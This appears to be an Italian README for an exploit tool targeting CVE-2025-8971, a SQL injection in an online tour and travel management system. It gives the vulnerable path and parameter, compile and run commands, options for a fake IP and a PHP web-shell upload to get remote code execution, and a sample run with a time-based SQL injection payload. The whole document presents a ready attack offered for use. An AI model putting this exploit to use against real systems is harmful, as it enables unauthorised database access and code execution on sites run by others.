CVE-2025-8971 (SQL Injection)

Autore: Byte Reaper

Descrizione :

Questo exploit per CVE-2025-8971, una vulnerabilità di SQL injection in itsourcecode Online Tour and Travel Management System 1.0. La vulnerabilità risiede in /admin/operations/travellers.php e può essere sfruttata da remoto tramite il parametro val-username.

Come funziona

L'exploit invia richieste HTTP POST appositamente create all'URL di destinazione.

I payload sono codificati e iniettati in val-username.

Il caricamento facoltativo di file (.php o immagine) può essere utilizzato per ottenere l'esecuzione remota di codice.

Lo script verifica le risposte per controllare se il payload è stato eseguito con successo.

Requisiti :

GCC compiler (gcc)

Linux x86_64 

ibcurl

Compilazione :

    gcc script.c argparse.c -o CVE-2025-8971 -lcurl
    ./CVE-2025-8971 -u http://<target> -v [verbose mode]

Utilizzo:

    -h, --help            help message 
    -u, --url             Target Url (BASE URL)
    -c, --cookies         File cookies
    -i, --ip              Fake Ip (Host request)
    -f, --file            File upload (.php / image)
    -v, --verbose         Verbose Mode

Esempio di esecuzione :

[+] Start encode Payload in Request (username=)
[+] Encode Payload : AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))bAKL)%20AND%20'b'='b'
[+] Original Payload (Not encode) : AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'b'='b'
[+] POST Request Sent
[+] FULL URL : http://127.0.0.1/code/admin/operations/travellers.php
[+] File Upload : test.php
[+] File written successfully
....

Licenza :

Licenza MIT

CVE-2025-8971

Più Popolari